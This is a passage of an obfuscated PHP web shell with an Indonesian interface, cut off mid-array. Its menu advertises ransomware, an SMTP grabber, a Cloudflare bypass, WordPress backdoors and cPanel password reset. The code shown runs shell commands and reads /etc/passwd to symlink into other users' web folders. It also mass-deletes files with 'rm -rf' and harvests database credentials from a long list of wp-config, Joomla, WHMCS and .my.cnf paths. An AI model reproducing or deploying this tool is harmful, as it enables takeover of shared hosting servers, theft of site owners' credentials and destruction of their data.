<a href="?dir=" . $dir . "&aksi=masdel" class="fiture btn btn-danger btn-sm"><i class="fa fa-trash"></i> Mass Delete</a>\xa<a href="?dir=" . $dir . "&aksi=jumping" class="fiture btn btn-danger btn-sm"><i class="fa fa-exclamation-triangle"></i> Jumping</a>\xa<a href="?dir=" . $dir . "&aksi=config" class="fiture btn btn-danger btn-sm"><i class="fa fa-cogs"></i> Config</a>\xa<a href="?dir=" . $dir . "&aksi=adminer" class="fiture btn btn-danger btn-sm"><i class="fa fa-user"></i> Adminer</a>\xa<a href="?dir=" . $dir . "&aksi=changedate" class="fiture btn btn-danger btn-sm"><i class="fa fa-clock"></i> Date</a>
<a href="?dir=" . $dir . "&aksi=symlink" class="fiture btn btn-danger btn-sm"><i class="fa fa-exclamation-circle"></i> Symlink</a>
<a href="?dir=" . $dir . "&aksi=gs" class="fiture btn btn-success btn-sm"><i class="fa fa-code"></i> GS</a>
<a href="?dir=" . $dir . "&aksi=consolex" class="fiture btn btn-success btn-sm"><i class="fa fa-terminal"></i> Console</a>
<a href="?dir=" . $dir . "&aksi=uploaderx" class="fiture btn btn-success btn-sm"><i class="fas fa-cloud-upload-alt"></i> Uploader</a>
<a href="?dir=" . $dir . "&aksi=wpbd" class="fiture btn btn-success btn-sm"><i class="fa fa-wordpress"></i> WordPress</a>
<a href="?dir=" . $dir . "&aksi=wpuser" class="fiture btn btn-success btn-sm"><i class="fab fa-wordpress-simple"></i> WP User</a>\xa<a href="?dir=" . $dir . "&aksi=logger" class="fiture btn btn-success btn-sm"><i class="fab fa-wordpress-simple"></i> Logger</a>\xa<a href="?dir=" . $dir . "&aksi=gsc" class="fiture btn btn-success btn-sm"><i class="fa fa-google"></i> GSC</a>\xa<a href="?dir=" . $dir . "&aksi=deployrh" class="fiture btn btn-success btn-sm"><i class="fab fa-redhat"></i> Deploy RH</a>\xa\xa<a href="?dir=" . $dir . "&aksi=protected" class="fiture btn btn-info btn-sm"><i class="fas fa-cogs"></i> Vault (Root Only)</a>\xa<a href="?dir=" . $dir . "&aksi=confbypass" class="fiture btn btn-info btn-sm"><i class="fas fa-cogs"></i> Config Search Bypass</a>\xa<a href="?dir=" . $dir . "&aksi=serp" class="fiture btn btn-info btn-sm"><i class="fa fa-google"></i> SERP</a>
<a href="?dir=" . $dir . "&aksi=write" class="fiture btn btn-info btn-sm"><i class="fas fa-search"></i> Writable Directory</a>
<a href="?dir=" . $dir . "&aksi=bctools" class="fiture btn btn-info btn-sm"><i class="fas fa-network-wired"></i> Network</a>\xa<a href="?dir=" . $dir . "&aksi=resetpasscp" class="fiture btn btn-success btn-sm"><i class="fab fa-cpanel"></i> Cpanel</a>
<a href="?dir=" . $dir . "&aksi=auteduser" class="fiture btn btn-info btn-sm"><i class="fas fa-user-edit"></i> Edit User</a>
<a href="?dir=" . $dir . "&aksi=ransom" class="fiture btn btn-info btn-sm"><i class="fab fa-keycdn"></i> Ransomware</a>
<a href="?dir=" . $dir . "&aksi=smtpgrab" class="fiture btn btn-info btn-sm"><i class="fas fa fa-exclamation-circle"></i> SMTP Grabber</a>
<a href="?dir=" . $dir . "&aksi=bypascf" class="fiture btn btn-info btn-sm"><i class="fas fa-cloud"></i> Bypass Cloudflare</a>\xa<a href="?dir=" . $dir . "&aksi=zip_menu" class="fiture btn btn-info btn-sm"><i class="fa fa-file-archive-o"></i> Zip</a>\xa<a href="?keluar" class="fiture btn btn-warning btn-sm"><i class="fa fa-sign-out"></i> Keluar</a>
</div>
</div>\xa<div class="row">\xa<div class="col-xl-12 w-100 p-3"><br/>\xa<div class="container"><div class="row"><div class="col-6">
<button class="btn btn-danger btn-block" type="button" data-toggle="collapse" data-target="#collapseTerminal" aria-expanded="false" aria-controls="collapseTerminal">\xa<h5><i class="fa fa-terminal"></i> Terminal</h5>\xa</button>\xa</div>\xa<div class="col-6">
<button class="btn btn-success btn-block" type="button" data-toggle="collapse" data-target="#collapseInformasi" aria-expanded="false" aria-controls="collapseInformasi">
<h5><i class="fa fa-info"></i> Informasi</h5>
</button>\xa</div></div>
<div class="collapse" id="collapseTerminal">
<div class="card bg-light">
<div class="card-body">\xa<form>\xa<input type="text" class="form-control" name="cmd" autocomplete="off" placeholder="id | uname -a | whoami | ls -la">
</form>
</div></div>
</div>\xa<hr/>
<div class="collapse" id="collapseInformasi">
<div class="card table-responsive">\xa<div class="card-body">\xa<table class="table infor">
<tr>\xa<td>PHP</td>\xa<td> : " . $IIIIIIII1IIl . "</td>\xa</tr>\xa<tr>
<td>IP Server</td>\xa<td> : " . $IIIIIIII1III . "</td>\xa</tr>
<tr>\xa<td>HDD</td>
<td class="d-flex">Total : " . IIIIIIII1l11($IIIIIIII1lII) . " Free : " . IIIIIIII1l11($IIIIIIII1lIl) . " [" . $IIIIIIII1lI1 . "%]</td>
</tr>
<tr>\xa<td>Domain</td>
<td>: " . $IIIIIIIlII1l . "</td>
</tr>
<tr>\xa<td>MySQL</td>
<td>: " . $IIIIIIII1I1I . "</td>
</tr>\xa<tr>
<td>cURL</td>\xa<td>: " . $IIIIIIII1I1l . "</td>
</tr>
<tr>\xa<td>Mailer</td>
<td>: " . $mail . "</td>
</tr>
<tr>
<td>Disable Function</td>
<td>: " . $IIIIIIII1ll1 . "</td>\xa</tr>\xa<tr>\xa<td>Software</td>\xa<td>: " . $IIIIIIII1Ill . "</td>
</tr>\xa<tr>\xa<td>Sistem Operasi</td>
<td> : " . $IIIIIIIIl111 . "</td>\xa</tr>
</table>\xa</div>\xa</div><hr/>\xa</div>\xa</div>\xa<div class="row d-flex justify-content-center">\xa<div class="col-xl-12 mt-4">"; goto rQEqq; CDm1q: if (isset($_GET["path"])) { $path = $_GET["path"]; chdir($path); } else { $path = getcwd(); } goto oXNAJ; srtjT: if ($_GET["aksi"] == "buat_folder") { IIIIIIIl1Il1($dir, $IIIIIIII1l1I); } goto PZ8XY; ig1qN: function IIIIIIIlI11l($dir, $IIIIIIII1l1I) { echo "<div class='card'>\xa<div class='card-body form-group'><form>\xa<h5><p class='text-muted'>Mass Finder Directory Writable</p><h5>
<h5><p class='text-muted'>{$IIIIIIII1l1I} Target Directory/file :</p></h5>\xa<input type='text' class='form-control' name='findwrite' autocomplete='off' placeholder='ex : /var/www/html'>
</form></div></div>"; } goto xbcnk; gyq2_: $IIIIIIII1I1l = function_exists("curl_version") ? " <font color=green> ON </font> " : " <font color=red> OFF </font> "; goto wC9kh; fk8xa: if (isset($_GET["dir"])) { $dir = $_GET["dir"]; chdir($dir); } else { $dir = getcwd(); } goto mMLat; wPDPB: $IIIIIIII1Ill = $_SERVER["SERVER_SOFTWARE"]; goto foTk5; Ian4A: $IIIIIIIl1Ill = basename($dir); goto jv_H7; A6VzY: function IIIIIIIl1ll1($dir, $IIIIIIIl1Ill) { echo "[ <a href='?dir=" . $dir . "&aksi=rename_folder'>Rename</a> ] [ <a href='?dir=" . $dir . "&aksi=hapus_folder' class='active'>Delete</a> ] \xa<div class='card card-body text-center text-dark mb-4'>\xa<p>Yakin Mau Hapus {$IIIIIIIl1Ill} ?</p>
<form method='POST'>
<a class='btn btn-danger btn-block' href='?dir=" . dirname($dir) . "'>Tidak</a>\xa<input type='submit' name='ya' class='btn btn-success btn-block' value='Ya'>
</form>\xa</div><br/>"; if ($_POST["ya"]) { if (is_dir($dir)) { if (is_writable($dir)) { @rmdir($dir); @ex("rm -rf {$dir}"); @ex("rmdir /s /q {$dir}"); $IIIIIIIlIl1l = "success"; $IIIIIIIlIl11 = "Berhasil Menghapus"; $dir = dirname($dir); IIIIIIIlIl1I($IIIIIIIlIl1l, $IIIIIIIlIl11, $dir); } else { $IIIIIIIlIl1l = "error"; $IIIIIIIlIl11 = "Berhasil Menghapus"; $dir = dirname($dir); IIIIIIIlIl1I($IIIIIIIlIl1l, $IIIIIIIlIl11, $dir); } } } die; } goto n8lqi; jDew3: if ($_GET["aksi"] == "auteduser") { IIIIIIlIlllI($dir, $file); } goto Y0Kw9; JNqQW: if ($_GET["aksi"] == "hapusf") { IIIIIIIl1IIl($dir, $file, $IIIIIIIlllIl); } goto Ian4A; A1xmA: if ($_GET["aksi"] == "edit") { IIIIIIIll1lI($dir, $file, $IIIIIIIlllIl, $IIIIIIII1l1l); } goto bYCUl; ad1Lh: function IIIIIIlIIIII($dir, $file) { $IIIIIII1l1ll = str_replace($_SERVER["DOCUMENT_ROOT"], '', $dir); $IIIIIIlIIIIl = "ftp://" . $_SERVER["SERVER_NAME"] . "/public_html/" . $_SERVER["REQUEST_URI"]; $u = explode("/", $IIIIIIlIIIIl); $IIIIIIlIIIIl = str_replace($u[count($u) - 1], '', $IIIIIIlIIIIl); if (isset($_GET["save"]) and isset($_POST["file"]) or @filesize("passwd.txt") > 0) { $IIIIIII111Il = stripcslashes($_POST["file"]); if (!file_exists("passwd.txt")) { $IIIIIII1IlII = @fopen("passwd.txt", "w"); $w = @fwrite($IIIIIII1IlII, $IIIIIII111Il); fclose($IIIIIII1IlII); } if ($w or @filesize("passwd.txt") > 0) { echo "<div class='tmp'>
<table width='100%' class='text-center table-responsive mb-4'>\xa<thead class='bg-info'>
<th>Users</th>
<th>symlink</th>
<th>FTP</th>
</thead>"; flush(); $IIIIIIlIIIlI = file("passwd.txt"); foreach ($IIIIIIlIIIlI as $IIIIIII1IlII) { $u = explode(":", $IIIIIII1IlII); $user = $u["0"]; echo "<tr>
<td class='text-left pl-1'>{$user}</td>\xa<td><a href='{$IIIIIII1l1ll}/sym/root/home/{$user}/public_html' target='_blank'>Symlink </a></td>\xa<td><a href='{$IIIIIIlIIIIl}/sym/root/home/{$user}/public_html' target='_blank'>FTP</a></td>
</tr>"; flush(); flush(); } echo "</tr></table></div>"; die; } } echo "read /etc/passwd <font color='red'>error ? </font><a href='?dir=" . $dir . "&aksi=passwbypass'>Bypass Here</a>
<form method='post' action='?dir={$dir}&aksi=sym_bypas&save=1'>\xa<textarea class='form-control' rows='13' name='file'>"; flush(); $file = "/etc/passwd"; $IIIIIII11llI = @fopen($file, "r"); if ($IIIIIII11llI) { $IIIIIII11lll = @fread($IIIIIII11llI, @filesize($file)); echo '' . htmlentities($IIIIIII11lll) . ''; } elseif (!$IIIIIII11llI) { $IIIIIII11llI = @show_source($file); } elseif (!$IIIIIII11llI) { $IIIIIII11llI = @highlight_file($file); } elseif (!$IIIIIII11llI) { for ($IIIIIII1ll1l = 0; $IIIIIII1ll1l < 1000; $IIIIIII1ll1l++) { $IIIIIII1ll11 = posix_getpwuid($IIIIIII1ll1l); if (!empty($IIIIIII1ll11)) { while (list($IIIIIII1l1II, $IIIIIII1l1Il) = each($IIIIIII1ll11)) { print "{$IIIIIII1l1Il}:"; } print "\xa"; } } } flush(); echo "</textarea><br/>\xa<input type='submit' class='btn btn-danger btn-block' value='Symlink'/>
</form>"; flush(); die; } goto VHEhv; J7ej1: ini_set("error_log", null); goto t7X4R; VOkoG: function IIIIIII1IIII($dir, $file, $IIIIIIII1l1I, $IIIIIIII1l1l) { function IIIIIII1IIIl($dir, $IIIIIIIl11Il) { if (is_writable($dir)) { $IIIIIIIl11lI = scandir($dir); foreach ($IIIIIIIl11lI as $IIIIIIIl11ll) { $IIIIIIIl11l1 = "{$dir}/{$IIIIIIIl11ll}"; $IIIIIIIl111I = $IIIIIIIl11l1 . "/" . $IIIIIIIl11Il; if ($IIIIIIIl11ll === ".") { if (file_exists("{$dir}/{$IIIIIIIl11Il}")) { unlink("{$dir}/{$IIIIIIIl11Il}"); } } elseif ($IIIIIIIl11ll === "..") { if (file_exists('' . dirname($dir) . "/{$IIIIIIIl11Il}")) { unlink('' . dirname($dir) . "/{$IIIIIIIl11Il}"); } } else { if (is_dir($IIIIIIIl11l1)) { if (is_writable($IIIIIIIl11l1)) { if ($IIIIIIIl111I) { echo "{$IIIIIIIl111I} > Terhapus
"; unlink($IIIIIIIl111I); $IIIIIII1III1 = IIIIIII1IIIl($IIIIIIIl11l1, $IIIIIIIl11Il); } } } } } } } if ($_POST["start"]) { echo "[ <a href='?dir={$dir}'>Kembali</a> ]\xa<textarea class='form-control' rows='13' disabled=''>"; IIIIIII1IIIl($_POST["d_dir"], $_POST["d_file"]); echo "</textarea><br/>"; } else { echo "<form method='post'>\xa<h5>{$IIIIIIII1l1I} Lokasi :</h5>\xa<input type='text' name='d_dir' value='{$dir}' class='form-control'><br/>\xa<h5>{$IIIIIIII1l1l} Nama File :</h5>\xa<input type='text' name='d_file' placeholder='[Ex] index.php' class='form-control'><br/>\xa<input type='submit' name='start' value='Delete!!' class='btn btn-danger form-control'>\xa</form>"; } die; } goto mi15o; wcB7c: $asciifnc1 = true; goto AcD5H; e0H04: function generateRandomString($length = 10) { $characters = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; $charactersLength = strlen($characters); $randomString = ''; for ($i = 0; $i < $length; $i++) { $randomString .= $characters[rand(0, $charactersLength - 1)]; } return $randomString; } goto M0Ns2; BxeQ4: function IIIIIIllI1lI($dir, $file) { $IIIIIIllI1ll = basename($dir) . ".zip"; function Zip($IIIIIIllI11I, $IIIIIIllI11l) { if (extension_loaded("zip") === true) { if (file_exists($IIIIIIllI11I) === true) { $zip = new ZipArchive(); if ($zip->open($IIIIIIllI11l, ZIPARCHIVE::CREATE) === true) { $IIIIIIllI11I = realpath($IIIIIIllI11I); if (is_dir($IIIIIIllI11I) === true) { $IIIIIIlI111I = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($IIIIIIllI11I), RecursiveIteratorIterator::SELF_FIRST); foreach ($IIIIIIlI111I as $file) { $file = realpath($file); if (is_dir($file) === true) { } elseif (is_file($file) === true) { $zip->addFromString(str_replace($IIIIIIllI11I . "/", '', $file), file_get_contents($file)); } } } elseif (is_file($IIIIIIllI11I) === true) { $zip->addFromString(basename($IIIIIIllI11I), file_get_contents($IIIIIIllI11I)); } } return @$zip->close(); } } return false; } function IIIIIIlllIIl($IIIIIIlllII1, $IIIIIIlllIlI) { $zip = new ZipArchive(); $IIIIIIlllIll = $zip->open($IIIIIIlllII1); if ($IIIIIIlllIll === TRUE) { $name = basename($IIIIIIlllII1, ".zip") . "_unzip"; @mkdir($name); @$zip->extractTo($IIIIIIlllIlI . "/" . $name); return @$zip->close(); } else { return false; } } echo "<div class="card card-body text-dark mb-4">
<h4 class="text-center">Zip Menu</h3>
<form enctype="multipart/form-data" method="post">
<div class="form-group">\xa<label>Zip File:</label>
<div class="custom-file">
<input type="file" name="zip_file" class="custom-file-input" id="customFile">
<label class="custom-file-label" for="customFile">Choose file</label>
</div>
<input type="submit" name="upnun" class="btn btn-danger btn-block mt-3" value="Upload & Unzip"/>\xa</div>\xa</form>"; if ($_POST["upnun"]) { $IIIIIIIllI1I = $_FILES["zip_file"]["name"]; $IIIIIIlllIl1 = $_FILES["zip_file"]["tmp_name"]; if (move_uploaded_file($IIIIIIlllIl1, "{$dir}/{$IIIIIIIllI1I}")) { echo IIIIIIlllIIl($IIIIIIIllI1I, $dir); unlink($IIIIIIIllI1I); $IIIIIIIlIl1l = "success"; $IIIIIIIlIl11 = "Berhasil Mengekstrak Zip"; IIIIIIIlIl1I($IIIIIIIlIl1l, $IIIIIIIlIl11, $dir); } else { echo "<b>Gagal!</b>"; } } echo "<div class='row'><div class='col-md-6 mb-3'><h5>Zip Backup</h5>
<form method='post'>
<label>Folder</label>
<input type='text' name='folder' class='form-control mb-3' value='{$dir}'>
<input type='submit' name='backup' class='btn btn-danger btn-block' value='Backup!'>\xa</form>"; if ($_POST["backup"]) { $IIIIIIlllI1I = $_POST["folder"]; if (Zip($IIIIIIlllI1I, $_POST["folder"] . "/" . $IIIIIIllI1ll)) { $IIIIIIIlIl1l = "success"; $IIIIIIIlIl11 = "Berhasil Membuat Zip"; IIIIIIIlIl1I($IIIIIIIlIl1l, $IIIIIIIlIl11, $dir); } else { echo "<b>Gagal!</b>"; } } echo "</div>\xa<div class='col-md-6'><h5>Unzip Manual</h5>\xa<form action='' method='post'>
<label>Zip Location:</label>
<input type='text' name='file_zip' class='form-control mb-3' value='{$dir}/{$IIIIIIllI1ll}'>\xa<input type='submit' name='extrak' class='btn btn-danger btn-block' value='Unzip!'>\xa</form>"; if ($_POST["extrak"]) { $zip = $_POST["file_zip"]; if (IIIIIIlllIIl($zip, $dir)) { $IIIIIIIlIl1l = "success"; $IIIIIIIlIl11 = "Berhasil Mengekstrak Zip"; IIIIIIIlIl1I($IIIIIIIlIl1l, $IIIIIIIlIl11, $dir); } else { echo "<b>Gagal!</b>"; } } echo "</div></div></div>"; } goto omEN2; wGGcQ: if (!$IIIIIIIlIIl1) { $IIIIIIIlII1l = "<font color=red size=2px>Cant Read [ /etc/named.conf ]</font>"; $GLOBALS["need_to_update_header"] = "true"; } else { $IIIIIIIlII11 = 0; foreach ($IIIIIIIlIIl1 as $IIIIIIIlIlII) { if (@strstr($IIIIIIIlIlII, "zone")) { preg_match_all("#zone "(.*)"#", $IIIIIIIlIlII, $IIIIIIIlIllI); flush(); if (strlen(trim($IIIIIIIlIllI[1][0])) > 2) { flush(); $IIIIIIIlII11++; } } } $IIIIIIIlII1l = "{$IIIIIIIlII11} Domain"; } goto NmL7d; AFmQi: if ($_GET["aksi"] == "uploaderx") { uploaderx($dir); } goto sgGFS; KaezF: function IIIIIIIlI1l1($dir, $IIIIIIII1l1I) { echo "<div class='card'>\xa<div class='card-body form-group'><form>
<h5><p class='text-muted'>Protect a Folder/File (Root Only)</p></h5>\xa<h5><p class='text-muted'>{$IIIIIIII1l1I} Target Directory/file :</p></h5>\xa<input type='text' class='form-control' name='protectnya' autocomplete='off' placeholder='ex : /var/www/html'>\xa</form>
</div></div>"; } goto G1PAx; qQr2R: function IIIIIIIl1IIl($dir, $file, $IIIIIIIlllIl) { echo "[ <a href="?dir=" . $dir . "&aksi=view&file=" . $file . "">Lihat</a> ] [ <a href="?dir=" . $dir . "&aksi=edit&file=" . $file . "">Edit</a> ] [ <a href="?dir=" . $dir . "&aksi=rename&file=" . $file . "">Rename</a> ] [ <a class="active" href="?dir=" . $dir . "&aksi=hapusf&file=" . $file . "">Delete</a> ]"; echo "<div class='card card-body text-center text-dark mb-4'>\xa<p>Yakin Mau Hapus {$IIIIIIIlllIl}?</p>
<form method='POST'>
<input type='submit' name='ya' class='btn btn-success btn-success btn-block' value='Ya'>\xa<a class='btn btn-danger btn-block' href='?dir={$dir}'>Tidak</a>
</form>\xa</div>"; if ($_POST["ya"]) { if (unlink($file)) { $IIIIIIIlIl1l = "success"; $IIIIIIIlIl11 = "Berhasil Menghapus File"; IIIIIIIlIl1I($IIIIIIIlIl1l, $IIIIIIIlIl11, $dir); } else { $IIIIIIIlIl1l = "error"; $IIIIIIIlIl11 = "Gagal Menghapus File"; IIIIIIIlIl1I($IIIIIIIlIl1l, $IIIIIIIlIl11, $dir); } } } goto DwRwj; pN2xp: if ($_GET["aksi"] == "resetpasscp") { IIIIIIlIlI1I($dir); } goto jDew3; vtYak: function prototype($k, $v) { $_COOKIE[$k] = $v; setcookie($k, $v); } goto rQZ11; UBaO0: if ($_GET["aksi"] == "gs") { gsket($dir); } goto XDx1i; DGXlf: function IIIIIII1lII1($dir, $file) { if ($_POST) { $passwd = $_POST["passwd"]; mkdir("indosec_config", 511); $IIIIIII1lIlI = "Options allnRequire NonenSatisfy Any"; $IIIIIII1lIll = fopen("indosec_config/.htaccess", "w"); fwrite($IIIIIII1lIll, $IIIIIII1lIlI); preg_match_all("/(.*?):x:/", $passwd, $IIIIIII1lIl1); foreach ($IIIIIII1lIl1[1] as $IIIIIII1lI1I) { $IIIIIII1lI1l = "/home/{$IIIIIII1lI1I}/public_html/"; if (is_readable($IIIIIII1lI1l)) { $IIIIIII1lI11 = array("/home/{$IIIIIII1lI1I}/.my.cnf" => "cpanel", "/home/{$IIIIIII1lI1I}/public_html/config/koneksi.php" => "Lokomedia", "/home/{$IIIIIII1lI1I}/public_html/forum/config.php" => "phpBB", "/home/{$IIIIIII1lI1I}/public_html/sites/default/settings.php" => "Drupal", "/home/{$IIIIIII1lI1I}/public_html/config/settings.inc.php" => "PrestaShop", "/home/{$IIIIIII1lI1I}/public_html/app/etc/local.xml" => "Magento", "/home/{$IIIIIII1lI1I}/public_html/admin/config.php" => "OpenCart", "/home/{$IIIIIII1lI1I}/public_html/application/config/database.php" => "Ellislab", "/home/{$IIIIIII1lI1I}/public_html/vb/includes/config.php" => "Vbulletin", "/home/{$IIIIIII1lI1I}/public_html/includes/config.php" => "Vbulletin", "/home/{$IIIIIII1lI1I}/public_html/forum/includes/config.php" => "Vbulletin", "/home/{$IIIIIII1lI1I}/public_html/forums/includes/config.php" => "Vbulletin", "/home/{$IIIIIII1lI1I}/public_html/cc/includes/config.php" => "Vbulletin", "/home/{$IIIIIII1lI1I}/public_html/inc/config.php" => "MyBB", "/home/{$IIIIIII1lI1I}/public_html/includes/configure.php" => "OsCommerce", "/home/{$IIIIIII1lI1I}/public_html/shop/includes/configure.php" => "OsCommerce", "/home/{$IIIIIII1lI1I}/public_html/os/includes/configure.php" => "OsCommerce", "/home/{$IIIIIII1lI1I}/public_html/oscom/includes/configure.php" => "OsCommerce", "/home/{$IIIIIII1lI1I}/public_html/products/includes/configure.php" => "OsCommerce", "/home/{$IIIIIII1lI1I}/public_html/cart/includes/configure.php" => "OsCommerce", "/home/{$IIIIIII1lI1I}/public_html/inc/conf_global.php" => "IPB", "/home/{$IIIIIII1lI1I}/public_html/wp-config.php" => "Wordpress", "/home/{$IIIIIII1lI1I}/public_html/wp/test/wp-config.php" => "Wordpress", "/home/{$IIIIIII1lI1I}/public_html/blog/wp-config.php" => "Wordpress", "/home/{$IIIIIII1lI1I}/public_html/beta/wp-config.php" => "Wordpress", "/home/{$IIIIIII1lI1I}/public_html/portal/wp-config.php" => "Wordpress", "/home/{$IIIIIII1lI1I}/public_html/site/wp-config.php" => "Wordpress", "/home/{$IIIIIII1lI1I}/public_html/wp/wp-config.php" => "Wordpress", "/home/{$IIIIIII1lI1I}/public_html/WP/wp-config.php" => "Wordpress", "/home/{$IIIIIII1lI1I}/public_html/news/wp-config.php" => "Wordpress", "/home/{$IIIIIII1lI1I}/public_html/wordpress/wp-config.php" => "Wordpress", "/home/{$IIIIIII1lI1I}/public_html/test/wp-config.php" => "Wordpress", "/home/{$IIIIIII1lI1I}/public_html/demo/wp-config.php" => "Wordpress", "/home/{$IIIIIII1lI1I}/public_html/home/wp-config.php" => "Wordpress", "/home/{$IIIIIII1lI1I}/public_html/v1/wp-config.php" => "Wordpress", "/home/{$IIIIIII1lI1I}/public_html/v2/wp-config.php" => "Wordpress", "/home/{$IIIIIII1lI1I}/public_html/press/wp-config.php" => "Wordpress", "/home/{$IIIIIII1lI1I}/public_html/new/wp-config.php" => "Wordpress", "/home/{$IIIIIII1lI1I}/public_html/blogs/wp-config.php" => "Wordpress", "/home/{$IIIIIII1lI1I}/public_html/configuration.php" => "Joomla", "/home/{$IIIIIII1lI1I}/public_html/blog/configuration.php" => "Joomla", "/home/{$IIIIIII1lI1I}/public_html/submitticket.php" => "^WHMCS", "/home/{$IIIIIII1lI1I}/public_html/cms/configuration.php" => "Joomla", "/home/{$IIIIIII1lI1I}/public_html/beta/configuration.php" => "Joomla", "/home/{$IIIIIII1lI1I}/public_html/portal/configuration.php" => "Joomla", "/home/{$IIIIIII1lI1I}/public_html/site/configuration.php" => "Joomla", "/home/{$IIIIIII1lI1I}/public_html/main/configuration.php" => "Joomla", "/home/{$IIIIIII1lI1I}/public_html/home/configuration.php" => "Joomla", "/home/{$IIIIIII1lI1I}/public_html/demo/configuration.php" => "Joomla", "/home/{$IIIIIII1lI1I}/public_html/test/configuration.php" => "Joomla", "/home/{$IIIIIII1lI1I}/public_html/v1/configuration.php" => "Joomla", "/home/{$IIIIIII1lI1I}/public_html/v2/configuration.php" => "Joomla", "/home/{$IIIIIII1lI1I}/public_html/joomla/configuration.php" => "Joomla", "/home/{$IIIIIII1lI1I}/public_html/new/configuration.php" => "Joomla", "/home/{$IIIIIII1lI1I}/public_html/WHMCS/submitticket.php" => "WHMCS", "/home/{$IIIIIII1lI1I}/public_html/whmcs1/submitticket.php" => "WHMCS", "/home/{$IIIIIII1lI1I}/public_html/Whmcs/submitticket.php" => "WHMCS", "/home/{$IIIIIII1lI1I}/public_html/whmcs/submitticket.php" => "WHMCS", "/home/{$IIIIIII1lI1I}/public_html/whmcs/submitticket.php" => "WHMCS", "/home/{$IIIIIII1lI1I}/public_html/WHMC/submitticket.php" => "WHMCS", "/home/{$IIIIIII1lI1I}/public_html/Whmc/submitticket.php" => "WHMCS", "/home/{$IIIIIII1lI1I}/public_html/whmc/submitticket.php" => "WHMCS", "/home/{$IIIIIII1lI1I}/public_html/WHM/submitticket.php" => "WHMCS", "/home/{$IIIIIII1lI1I}/public_html/Whm/submitticket.php" => "WHMCS", "/home/{$IIIIIII1lI1I}/public_html/whm/submitticket.php" => "WHMCS", "/home/{$IIIIIII1lI1I}/public_html/HOST/submitticket.php" => "WHMCS", "/home/{$IIIIIII1lI1I}/public_html/Host/submitticket.php" => "WHMCS", "/home/{$IIIIIII1lI1I}/public_html/host/submitticket.php" => "WHMCS", "/home/{$IIIIIII1lI1I}/public_html/SUPPORTES/submitticket.php" => "WHMCS", "/home/{$IIIIIII1lI1I}/public_html/Supportes/submitticket.php" => "WHMCS", "/home/{$IIIIIII1lI1I}/public_html/supportes/submitticket.php" => "WHMCS", "/home/{$IIIIIII1lI1I}/public_html/domains/submitticket.php" => "WHMCS", "/home/{$IIIIIII1lI1I}/public_html/domain/submitticket.php" => "WHMCS", "/home/{$IIIIIII1lI1I}/public_html/Hosting/submitticket.php" => "WHMCS", "/home/{$IIIIIII1lI1I}/public_html/HOSTING/submitticket.php" => "WHMCS", "/home/{$IIIIIII1lI1I}/public_html/hosting/submitticket.php" => "WHMCS", "/home/{$IIIIIII1lI1I}/public_html/CART/submitticket.php" => "WHMCS", "/home/{$IIIIIII1lI1I}/public_html/Cart/submitticket.php" => "WHMCS", "/home/{$IIIIIII1lI1I}/public_html/cart/submitticket.php" => "WHMCS", "/home/{$IIIIIII1lI1I}/public_html/ORDER/submitticket.php" => "WHMCS", "/home/{$IIIIIII1lI1I}/public_html/Order/submitticket.php" => "WHMCS", "/home/{$IIIIIII1lI1I}/public_html/order/submitticket.php" => "WHMCS", "/home/{$IIIIIII1lI1I}/public_html/CLIENT/submitticket.php" => "WHMCS", "/home/{$IIIIIII1lI1I}/public_html/Client/submitticket.php" => "WHMCS", "/home/{$IIIIIII1lI1I}/public_html/client/submitticket.php" => "WHMCS", "/home/{$IIIIIII1lI1I}/public_html/CLIENTAREA/submitticket.php" => "WHMCS", "/home/{$IIIIIII1lI1I}/public_html/Clientarea/submitticket.php" => "WHMCS", "/home/{$IIIIIII1lI1I}/public_html/clientarea/submitticket.php" => "WHMCS", "/home/{$IIIIIII1lI1I}/public_html/SUPPORT/submitticket.php" => "WHMCS", "/home/{$IIIIIII1lI1I}/public_html/Support/submitticket.php" => "WHMCS", "/home/{$IIIIIII1lI1I}/public_html/support/submitticket.php" => "WHMCS", "/home/{$IIIIIII1lI1I}/public_html/BILLING/submitticket.php" => "WHMCS", "/home/{$IIIIIII1lI1I}/public_html/Billing/submitticket.php" => "WHMCS", "/home/{$IIIIIII1lI1I}/public_html/billing/submitticket.php" => "WHMCS", "/home/{$IIIIIII1lI1I}/public_html/BUY/sumitticket.php" => "WHMCS", "/home/{$IIIIIII1lI1I}/public_html/Buy/submitticket.php" => "WHMCS", "/home/{$IIIIIII1lI1I}/public_html/buy/submitticket.php" => "WHMCS", "/home/{$IIIIIII1lI1I}/public_html/MANAGE/submitticket.php" => "WHMCS", "/home/{$IIIIIII1lI1I}/public_html/Manage/submitticket.php" => "WHMCS", "/home/{$IIIIIII1lI1I}/public_html/manage/submitticket.php" => "WHMCS", "/home/{$IIIIIII1lI1I}/public_html/CLIENTSUPPORT/submitticket.php" => "WHMCS", "/home/{$IIIIIII1lI1I}/public_html/ClientSupport/submitticket.php" => "WHMCS", "/home/{$IIIIIII1lI1I}/public_html/Clientsupport/submitticket.php" => "WHMCS", "/home/{$IIIIIII1lI1I}/public_html/clientsupport/submitticket.php" => "WHMCS", "/home/{$IIIIIII1lI1I}/public_html/CHECKOUT/submitticket.php" => "WHMCS", "/home/{$IIIIIII1lI1I}/public_html/Checkout/submitticket.php" => "WHMCS", "/home/{$IIIIIII1lI1I}/public_html/checkout/submitticket.php" => "WHMCS", "/home/{$IIIIIII1lI1I}/public_html/BILLINGS/submitticket.php" => "WHMCS", "/home/{$IIIIIII1lI1I}/public_html/Billings/submitticket.php" => "WHMCS", "/home/{$IIIIIII1lI1I}/public_html/billings/submitticket.php" => "WHMCS", "/home/{$IIIIIII1lI1I}/public_html/BASKET/submitticket.php" => "WHMCS", "/home/{$IIIIIII1lI1I}/public_html/Basket/submitticket.php" => "WHMCS", "/home/{$IIIIIII1lI1I}/public_html/basket/submitticket.php" => "WHMCS", "/home/{$IIIIIII1lI1I}/public_html/SECURE/submitticket.php" => "WHMCS", "/home/{$IIIIIII1lI1I}/public_html/Secure/submitticket.php" => "WHMCS", "/home/{$IIIIIII1lI1I}/public_html/secure/submitticket.php" => "WHMCS", "/home/{$IIIIIII1lI1I}/public_html/SALES/submitticket.php" => "WHMCS", "/home/{$IIIIIII1lI1I}/public_html/Sales/submitticket.php" => "WHMCS", "/home/{$IIIIIII1lI1I}/public_html/sales/submitticket.php" => "WHMCS", "/home/{$IIIIIII1lI1I}/public_html/BILL/submitticket.php" => "WHMCS", "/home/{$IIIIIII1lI1I}/public_html/Bill/submitticket.php" => "WHMCS", "/home/{$IIIIIII1lI1I}/public_html/bill/submitticket.php" => 